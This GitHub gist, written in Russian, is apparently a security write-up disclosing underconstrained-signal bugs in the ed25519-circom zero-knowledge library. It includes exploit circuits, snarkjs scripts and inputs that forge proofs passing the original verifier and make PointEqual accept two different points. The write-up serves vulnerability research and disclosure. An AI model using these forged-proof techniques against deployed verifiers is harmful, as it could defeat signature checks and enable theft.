Skip to content

Instantly share code, notes, and snippets.

@uvicorn
Created January 9, 2024 14:17
Show Gist options
  • Save uvicorn/6758e70dbcd01bbc2ef1ffa959c7196d to your computer and use it in GitHub Desktop.
Save uvicorn/6758e70dbcd01bbc2ef1ffa959c7196d to your computer and use it in GitHub Desktop.

Абоба

Оригинальный репозиторий: https://github.com/Electron-Labs/ed25519-circom

Сплойт: https://github.com/uvicorn/ed25519-circom-bug/tree/main/exploit

Range check

Почитав всякие аудиты я заметил, что львиная доля уязвимостей на circom - это integer overflow, который получают из-за неправильной проверки, что число находится в промежутке [a; b] (например https://github.com/0xPARC/zk-bug-tracker/tree/main#1-dark-forest-v03-missing-bit-length-check ).

Реализация в данной библиотеке:

pragma circom 2.0.0;

include "../node_modules/circomlib/circuits/bitify.circom";

template LessThanPower(base) { // in < 2^base
  signal input in;
  signal output out;

  out <-- 1 - ((in >> base) > 0);
  out * (out - 1) === 0;
}

template LessThanBounded(base) { // in[0] < in[1] < 2^base
  signal input in[2];
  signal output out;

  component lt1 = LessThanPower(base);
  lt1.in <== in[0];

  component lt2 = LessThanPower(base);
  lt2.in <== in[1];

  out <-- in[0] < in[1];
  out * (out - 1) === 0;
}

Небольшое отступление по поводу работы circom. Как сказано в https://docs.circom.io/background/background/

In summary, zk-SNARK proofs are an specific type of zero-knowledge proofs that allow you to prove that you know a set of signals (witness) that match all the constraints of a circuit without revealing any of the signals except the public inputs and the outputs.

Оператор <-- присваивает значение сигналу, а <== работает как

signal out;
out === val; // добавляется ограничение на out
out <-- val;

Если ограничения на сигнал нет, то в out <-- val мы можем заменить val на любое свое значение, лишь бы оно подходило под другие констреинты. Тогда почему бы не использовать <== всегда. Дело в оптимизации: чем больше ограничений, тем дольше проверка и компиляция (свои мучения с этим я опишу далее).

Вернемся к нашему коду.

template LessThanPower(base) { // in < 2^base
  signal input in;
  signal output out;

  //out <-- 1 - ((in >> base) > 0);
  out <--1;
  out * (out - 1) === 0;
}

Именно об этом и было сказано выше. Единственное ограничение - out*(out-1)=0. Верификатору, чтобы сказать, верно ли доказательство, нужны только сигналы типа input и сам пруф. Поэтому мы можем создать свою схему, сохранив проверку констрейнтов чужой схемы. Если мы сгенерим proof на основе нашей схеме, то верификацию на основе чужой она тоже пройдет. Это основной подход эксплуатации схем ZKP на circom.

Pasted image 20240108233618

Скрипт для компиля (Примечание: конкретно в нашем случае пишем circom --O0 ...)

#!/bin/bash
circom circuits/$1.circom --r1cs --wasm -o ./build/

# export zkey for proof generation
npx snarkjs groth16 setup ./build/$1.r1cs powersOfTau28_hez_final_12.ptau ./build/keys/$1_circuit_0000.zkey
# for proof verification
npx snarkjs zkey export verificationkey ./build/keys/$1_circuit_0000.zkey ./build/keys/$1_verification_key.json

И verify2.js:

const snarkjs = require('snarkjs')
const fs = require("fs");

async function verify(){
const { proof, publicSignals } = await snarkjs.groth16.fullProve(
    { in : "70368744177664"}, // 2^46
    "build/test2_js/test2.wasm", // exploit circuit code and .zkey (zkey same with original)
    "build/keys/test2_circuit_0000.zkey");


    const vKey = JSON.parse(fs.readFileSync("build/keys/test_verification_key.json"));// verification_key of original circuit
    const res = await snarkjs.groth16.verify(vKey, publicSignals, proof);
      if (res === true) {
        console.log("Verification OK");
      } else {
        console.log("Invalid proof");
      }
}

verify().then(() => {
    process.exit(0);
});

И получаем желанное

uvicorn@Uvicorn:/mnt/d/Projects/circom_test$ node verify2.js
OUT 1

Идем дальше

template LessThanBounded(base) { // in[0] < in[1] < 2^base
  signal input in[2];
  signal output out;

  component lt1 = LessThanPower(base);
  lt1.in <== in[0];

  component lt2 = LessThanPower(base);
  lt2.in <== in[1];

  out <-- in[0] < in[1];
  out * (out - 1) === 0;
}

Во-первых, тут нет проверки результата LessThanPower, то есть условие <2^base не выполняется. Во-вторых, out <-- in[0] < in[1] мы сплойтим точно так же. Итого: LessThanPower и LessThanBounded полностью под нашим контролем.

Bigint operations

Поискав где используется поломанный LessThanPower, обнаруживаем ChunkedMul(m,n,base) и ChunkedAdd(m,n,base). Эти функции отвечают за работу с BigInt. Т.к. в circom мы работаем в конечном поле, да еще и меньшем, чем поле ed25519, то нельзя просто сложить два числа по модулю кривой Эдвардса, т.к. мы получим integer overflow. Поэтому используется BigInt, в котором обычное число переводят в массив чанков, где каждый чанк <2**base.

def conv_to_chunks(base,k,p): # p - our int
     return [(p>>(i*base))&(2**base-1) for i in range(k)]

def conv_from_chunks(base,k,chunks): # k - length of array # base - bit_length
    return sum(chunks[i]<<(i*base) for i in range(k))

Итак, взглянем на реализацию:

template ChunkedMul(m, n, base){
  signal input in1[m];
  signal input in2[n];
  signal pp[n][m+n-1];
  signal sum[m+n-1];
  signal carry[m+n];
  signal output out[m+n];

  var power =  2 ** base;
  var i;
  var j;

  component lt1[m];
  for (i = 0; i < m; i++) {
    lt1[i] = LessThanPower(base); // Vuln
    lt1[i].in <== in1[i];
    lt1[i].out === 1;
  }

  component lt2[n];
  for (i = 0; i < n; i++) {
    lt2[i] = LessThanPower(base); // VULN
    lt2[i].in <== in2[i];
    lt2[i].out === 1;
  }

  for (i = 0; i < n; i++){
    for (j = 0; j < m+n-1; j++){
      if (j<i){
        pp[i][j] <== 0;
      }
      else if (j>=i && j<=m-1+i){
        pp[i][j] <== in1[j-i] * in2[i];
      }
      else {
        pp[i][j] <== 0;
      }
    }
  }

  var vsum = 0;
  for (j=0; j<m+n-1; j++){
    vsum = 0;
    for (i=0; i<n; i++){
      vsum = vsum + pp[i][j];
    }
    sum[j] <== vsum;
  }

  carry[0] <== 0;
  for (j = 0; j < m+n-1; j++) {
    out[j] <-- (sum[j] + carry[j]) % power;
    carry[j+1] <-- (sum[j] + carry[j]) \ power;
    sum[j]+carry[j] === carry[j+1] * power + out[j];
  }
  out[m+n-1] <-- carry[m+n-1];

  component lt[m+n];
  for(i = 0; i< m+n; i++) {
    lt[i] = LessThanPower(base); // VULN
    lt[i].in <== out[i];
    out[i] * lt[i].out === out[i];
  }
}

Следующий цикл проверяет что out[i] < 2^base:

  component lt[m+n];
  for(i = 0; i< m+n; i++) {
    lt[i] = LessThanPower(base); // VULN
    lt[i].in <== out[i];
    out[i] * lt[i].out === out[i];
  }

Мы это уже обошли, поэтому в сухом остатке получаем:

template ChunkedMul(m, n, base){
  signal input in1[m];
  signal input in2[n];
  signal pp[n][m+n-1];
  signal sum[m+n-1];
  signal carry[m+n];
  signal output out[m+n];

  var power =  2 ** base;
  var i;
  var j;

  /*component lt1[m];
  for (i = 0; i < m; i++) {
    lt1[i] = LessThanPower(base); // Vuln
    lt1[i].in <== in1[i];
    lt1[i].out === 1;
  }

  component lt2[n];
  for (i = 0; i < n; i++) {
    lt2[i] = LessThanPower(base); // VULN
    lt2[i].in <== in2[i];
    lt2[i].out === 1;
  }*/

  for (i = 0; i < n; i++){
    for (j = 0; j < m+n-1; j++){
      if (j<i){
        pp[i][j] <== 0;
      }
      else if (j>=i && j<=m-1+i){
        pp[i][j] <== in1[j-i] * in2[i];
      }
      else {
        pp[i][j] <== 0;
      }
    }
  }

  var vsum = 0;
  for (j=0; j<m+n-1; j++){
    vsum = 0;
    for (i=0; i<n; i++){
      vsum = vsum + pp[i][j];
    }
    sum[j] <== vsum;
  }

  carry[0] <== 0;
  for (j = 0; j < m+n-1; j++) {
    out[j] <-- (sum[j] + carry[j]) % power;
    carry[j+1] <-- (sum[j] + carry[j]) \ power;
    sum[j]+carry[j] === carry[j+1] * power + out[j];
  }
  out[m+n-1] <-- carry[m+n-1];

  /*component lt[m+n];
  for(i = 0; i< m+n; i++) {
    lt[i] = LessThanPower(base); // VULN
    lt[i].in <== out[i];
    out[i] * lt[i].out === out[i];
  }*/
}

Опа, еще раз используется <-- вместо <==, то есть мы опять можем закинуть в out[j] и carry[j] свой ввод:

  var power =  2 ** base;
  ...
  carry[0] <== 0;
  for (j = 0; j < m+n-1; j++) {
    out[j] <-- (sum[j] + carry[j]) % power;
    carry[j+1] <-- (sum[j] + carry[j]) \ power;
    sum[j]+carry[j] === carry[j+1] * power + out[j];
  }
  out[m+n-1] <-- carry[m+n-1];

Хотелось бы опять подменить out, но на этот раз есть проверка sum[j]+carry[j] === carry[j+1] * power + out[j]. Мы знаем sum[j], зависящее только от введенных чанков, power=2^base и заметим, что больше условий на carry никаких не накладывают(кроме carry[0]=0), поэтому мы можем вертеть его как хотим.

  j=0: sum[0] == c[1]*power + need_out[0] => c[1]*power = sum[0]-need_out[0]
  j=1: sum[1] + c[1] == c[2]*power + need_out[1] => c[2]*power = sum[1] + c[1] - need_out[1]
  j=...

Получается, массив carry строится линейными уравнениями,которые мы решаем, после чего подменяем out. Ура патч:

  var need_out[m+n-1] = [1,2,3,4,5,6];
  carry[0] <== 0;
  for (i = 0; i < m+n-1; i++) {
    // out[j] <-- (sum[j] + carry[j]) % power;// VULN
    // carry[j+1] <-- (sum[j] + carry[j]) \ power;
    out[i] <-- need_out[i];
    carry[i+1] <-- (sum[i]+ carry[i]-need_out[i])/power;
    sum[i]+carry[i] === carry[i+1] * power + out[i];
    log("MulOut", out[i]);
  }
  out[m+n-1] <-- need_out[m+n-1];

Реализация ChunkAdd аналогичная:

  var numOutputs = calculateNumOutputs(m, n, base); // m+1
  ...
  carry[0] <== 0;
  for (i = 0; i < m; i++){
    out[i] <-- (psum[i] + carry[i]) % power;
    carry[i + 1] <-- (psum[i] + carry[i]) \ power;
    psum[i] + carry[i] === carry[i + 1] * power + out[i];
  }

  for (i = m; i < numOutputs-1; i++) {
    out[i] <-- carry[i] % power;
    carry[i + 1] <-- carry[i] \ power;
  }

  out[numOutputs-1] <== carry[numOutputs-1];
  ...

Единственное отличие - констрейнт в конце, который не дает подменить out[numOutputs-1].

ed25519 arithmetic

На этот раз ищем где используется ChunkedMul. Ура! Почти в каждой функции, отвечающей за работу с точками эллиптической кривой.

template PointEqual() {
  signal input p[3][3];
  signal input q[3][3];
  signal output out;

  var i;
  var j;
  component mul[4];
  for (i=0; i<4; i++) {
    mul[i] = ChunkedMul(3, 3, 85); // ChunkedMul USAGE
  }

  for(i=0; i<3; i++) {
    // P[0] * Q[2]
    mul[0].in1[i] <== p[0][i];
    mul[0].in2[i] <== q[2][i];

    // Q[0] * P[2]
    mul[1].in1[i] <== q[0][i];
    mul[1].in2[i] <== p[2][i];

    // P[1] * Q[2]
    mul[2].in1[i] <== p[1][i];
    mul[2].in2[i] <== q[2][i];

    // Q[1] * P[2]
    mul[3].in1[i] <== q[1][i];
    mul[3].in2[i] <== p[2][i];
  }

  component mod[4];
  for (i=0; i<4; i++) {
    mod[i] = ModulusWith25519Chunked51(6);
  }

  for(i=0; i<6; i++) {
    // (P[0] * Q[2]) % p
    mod[0].in[i] <== mul[0].out[i];

    // (Q[0] * P[2]) % p
    mod[1].in[i] <== mul[1].out[i];

    // (P[1] * Q[2]) % p
    mod[2].in[i] <== mul[2].out[i];

    // (Q[1] * P[2]) % p
    mod[3].in[i] <== mul[3].out[i];
  }

  // output = (P[0] * Q[2]) % p == (Q[0] * P[2]) % p && (P[1] * Q[2]) % p == (Q[1] * P[2]) % p

  component equal[2][3];
  component and1[3];
  component and2[2];

  for (j = 0; j < 2; j++) {
    equal[j][0] = IsEqual();
    equal[j][0].in[0] <== mod[2 * j].out[0];
    equal[j][0].in[1] <== mod[2 * j + 1].out[0];
  }

  and1[0] = AND();
  and1[0].a <== equal[0][0].out;
  and1[0].b <== equal[1][0].out;

  for (i=1; i<3; i++) {
    for (j = 0; j < 2; j++) {
      equal[j][i] = IsEqual();
      equal[j][i].in[0] <== mod[2 * j].out[i];
      equal[j][i].in[1] <== mod[2 * j + 1].out[i];
    }

    and1[i] = AND();
    and1[i].a <== equal[0][i].out;
    and1[i].b <== equal[1][i].out;

    and2[i-1] = AND();
    and2[i-1].a <== and1[i-1].out;
    and2[i-1].b <== and1[i].out;
  }

  out <== and2[1].out;
}

Точки кривой кодируются в матрицу 3 на 3. P содержит (X,Y,Z), а X = P[0] содержит 3 чанка bigint.

Как написано в комментарии, функция проверяет (P[0] * Q[2]) % p == (Q[0] * P[2]) % p && (P[1] * Q[2]) % p == (Q[1] * P[2]) % p. Умножение, естественно, использует ChunkedMul. Сплойтим:

pragma circom 2.0.0;

include "../circuits/scalarmul.circom";
include "../circuits/modulus.circom";
include "../circuits/point-addition.circom";
include "../circuits/pointcompress.circom";

include "../node_modules/@electron-labs/sha512/circuits/sha512/sha512.circom";
include "../node_modules/circomlib/circuits/comparators.circom";
include "../node_modules/circomlib/circuits/gates.circom";


template ChunkedMulPatch(m, n, base,need_out){ //base 2**51 multiplier
  signal input in1[m];
  signal input in2[n];
  signal pp[n][m+n-1];
  signal sum[m+n-1];
  signal carry[m+n];
  signal output out[m+n];
  var power =  2 ** base;
  var i;
  var j;

  component lt1[m];
  for (i = 0; i < m; i++) {
    lt1[i] = LessThanPower(base);
    lt1[i].in <== in1[i];
    lt1[i].out === 1;
  }

  component lt2[n];
  for (i = 0; i < n; i++) {
    lt2[i] = LessThanPower(base);
    lt2[i].in <== in2[i];
    lt2[i].out === 1;
  }

  for (i = 0; i < n; i++){
    for (j = 0; j < m+n-1; j++){
      if (j<i){
        pp[i][j] <== 0;
      }
      else if (j>=i && j<=m-1+i){
        pp[i][j] <== in1[j-i] * in2[i];
      }
      else {
        pp[i][j] <== 0;
      }
    }
  }

  var vsum = 0;
  for (j=0; j<m+n-1; j++){
    vsum = 0;
    for (i=0; i<n; i++){
      vsum = vsum + pp[i][j];
    }
    sum[j] <== vsum;
  }

  carry[0] <== 0;
  for (i = 0; i < m+n-1; i++) {
    // out[j] <-- (sum[j] + carry[j]) % power;// VULN the same
    // carry[j+1] <-- (sum[j] + carry[j]) \ power;
    out[i] <-- need_out[i];
    carry[i+1] <-- (sum[i]+ carry[i]-need_out[i])/power;
    //Note: removing this line does not change the no of constraints
    sum[i]+carry[i] === carry[i+1] * power + out[i];
    log("MulOut", out[i]);
  }

  out[m+n-1] <-- need_out[m+n-1];
  log("MulOut", out[m+n-1]);
  component lt[m+n];
  for(i = 0; i< m+n; i++) {
    lt[i] = LessThanPower(base); // VULN the same
    lt[i].in <== out[i];
    out[i] * lt[i].out === out[i];
  }
}

template PointEqual() {
  signal input p[3][3];
  signal input q[3][3];
  signal output out;

  var i;
  var j;
  component mul[4];
  var need_out[6] =[1,2,3,4,5,6]; // EXPLOIT PART

  for (i=0; i<4; i++) {
    mul[i] = ChunkedMulPatch(3, 3, 85,need_out);
  }

  for(i=0; i<3; i++) {
    // P[0] * Q[2]
    mul[0].in1[i] <== p[0][i];
    mul[0].in2[i] <== q[2][i];

    // Q[0] * P[2]
    mul[1].in1[i] <== q[0][i];
    mul[1].in2[i] <== p[2][i];

    // P[1] * Q[2]
    mul[2].in1[i] <== p[1][i];
    mul[2].in2[i] <== q[2][i];

    // Q[1] * P[2]
    mul[3].in1[i] <== q[1][i];
    mul[3].in2[i] <== p[2][i];
  }

  component mod[4];
  for (i=0; i<4; i++) {
    mod[i] = ModulusWith25519Chunked51(6);
  }

  for(i=0; i<6; i++) {
    // (P[0] * Q[2]) % p
    mod[0].in[i] <== mul[0].out[i];

    // (Q[0] * P[2]) % p
    mod[1].in[i] <== mul[1].out[i];

    // (P[1] * Q[2]) % p
    mod[2].in[i] <== mul[2].out[i];

    // (Q[1] * P[2]) % p
    mod[3].in[i] <== mul[3].out[i];
  }

  // output = (P[0] * Q[2]) % p == (Q[0] * P[2]) % p && (P[1] * Q[2]) % p == (Q[1] * P[2]) % p

  component equal[2][3];
  component and1[3];
  component and2[2];

  for (j = 0; j < 2; j++) {
    equal[j][0] = IsEqual();
    equal[j][0].in[0] <== mod[2 * j].out[0];
    equal[j][0].in[1] <== mod[2 * j + 1].out[0];
  }

  and1[0] = AND();
  and1[0].a <== equal[0][0].out;
  and1[0].b <== equal[1][0].out;

  for (i=1; i<3; i++) {
    for (j = 0; j < 2; j++) {
      equal[j][i] = IsEqual();
      equal[j][i].in[0] <== mod[2 * j].out[i];
      equal[j][i].in[1] <== mod[2 * j + 1].out[i];
    }

    and1[i] = AND();
    and1[i].a <== equal[0][i].out;
    and1[i].b <== equal[1][i].out;

    and2[i-1] = AND();
    and2[i-1].a <== and1[i-1].out;
    and2[i-1].b <== and1[i].out;
  }

  out <== and2[1].out;
  log("PointEqual OUT", out);
}

template Main(){
    signal input p[3][3];
    signal input q[3][3];
    signal output out;
    component equal = PointEqual();
    equal.p <==p;
    equal.q <==q;
    out <== equal.out;
    log("PointEqual OUT", out);
}
component main { public [p,q] } = Main();

Скрипт для запуска:

#!/bin/bash
node ./build/$1_js/generate_witness.js ./build/$1_js/$1.wasm  ./$1_input.json ./$1_out.wtns
snarkjs wej ./$1_out.wtns ./$1_out.json
cat $1_out.json
rm $1_out.wtns $1_out.json

exploit_input.json:

{
   "p":[["36245239928534522998831187", "20441617585047796081800223", "20276043402741325612916412"], ["28040900253166149515255089", "21161190428608711201904680", "19523128480965831968406086"], ["35895957713693873153240040", "23326598138986397476944807", "28871573624713874504111054"]],
   "q":[["31850697423991328045531389", "24534849580995022767332028", "34566918250851619722301330"], ["30440605044482897331169344", "27079930853918634083850484", "25795372592150835787210594"], ["32429060792533852110089864", "38515334356210648802534078", "35249537920354059911489058"]]
}

Как видите, P и Q разные :)

Запускаем:

Pasted image 20240109024853

Ура, мы обошли PointEqual

Ed25519Verifier

template Ed25519Verifier(n) {
  assert(n % 8 == 0);

  signal input msg[n];

  signal input A[256];
  signal input R8[256];
  signal input S[255];

  signal input PointA[4][3];
  signal input PointR[4][3];

  signal output out;

  var G[4][3] = [[6836562328990639286768922, 21231440843933962135602345, 10097852978535018773096760],
                 [7737125245533626718119512, 23211375736600880154358579, 30948500982134506872478105],
                 [1, 0, 0],
                 [20943500354259764865654179, 24722277920680796426601402, 31289658119428895172835987]
                ];

  var i;
  var j;

  component compressA = PointCompress();
  component compressR = PointCompress();
  for (i=0; i<4; i++) {
    for (j=0; j<3; j++) {
      compressA.P[i][j] <== PointA[i][j];
      compressR.P[i][j] <== PointR[i][j];
    }
  }

  for (i=0; i<256; i++) {
    compressA.out[i] === A[i];
    compressR.out[i] === R8[i];
  }

  component hash = Sha512(n+256+256);
  for (i=0; i<256; i+=8) {
    for(j=0; j<8; j++) {
      hash.in[i+j] <== R8[i+(7-j)];
      hash.in[256+i+j] <== A[i+(7-j)];
    }
  }
  for (i=0; i<n; i+=8) {
    for(j=0; j<8; j++) {
      hash.in[512+i+j] <== msg[i+(7-j)];
    }
  }

  component bitModulus = ModulusWith252c(512);
  for (i=0; i<512; i+=8) {
    for(j=0; j<8; j++) {
      bitModulus.in[i+j] <== hash.out[i + (7-j)];
    }
  }

  // point multiplication s, G
  component pMul1 = ScalarMul();
  for(i=0; i<255; i++) {
    pMul1.s[i] <== S[i];
  }
  for (i=0; i<4; i++) {
    for (j=0; j<3; j++) {
      pMul1.P[i][j] <== G[i][j];
    }
  }

  // point multiplication h, A
  component pMul2 = ScalarMul();
  for (i=0; i<253; i++) {
    pMul2.s[i] <== bitModulus.out[i];
  }
  pMul2.s[253] <== 0;
  pMul2.s[254] <== 0;

  for (i=0; i<4; i++) {
    for (j=0; j<3; j++) {
      pMul2.P[i][j] <== PointA[i][j];
    }
  }

  component addRH = PointAdd();
  for (i=0; i<4; i++) {
    for (j=0; j<3; j++) {
      addRH.P[i][j] <== PointR[i][j];
      addRH.Q[i][j] <== pMul2.sP[i][j];
    }
  }

  component equal = PointEqual(); // NEED EXPLOIT HERE
  for(i=0; i<3; i++) {
    for(j=0; j<3; j++) {
      equal.p[i][j] <== pMul1.sP[i][j];
      equal.q[i][j] <== addRH.R[i][j];
    }
  }

  out <== equal.out;
}

Мы умеем подменять результат PointEqual. Нам осталось лишь запустить Ed25519Verifier с рандомными данными и забирать cash$$$.

А вот нихуя! Чтобы эту либу скомпилировать полностью (а не выдирать отдельные куски вроде ChunkedMul) нужен, блять, кластер AWS:

Pasted image 20240109025456

Я у себя на машине, естественно, пробовал: либо компилятору не хватает оперативы, либо отключаем оптимизацию констрейнтов через circom --O0 ... и умираем т.к. мусорных констрейнтов в 14 раз больше, чем на картинке, и для их проверки нужен бинарь не на 4 гига, а уже на 36. О времени молчу

Postmortem

Этот 0day должен был отправиться на CrewCTF24, но из-за ужасной оптимизации либы, игроки не смогли бы запустить Ed25519Verifier у себя локально, поэтому вы читаете эту статью на полгода раньше. Все равно в либе всего 2 коммита за 2 года.

К слову, на CrewCTF будут 0day и без меня, приходите 10-12 Мая :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment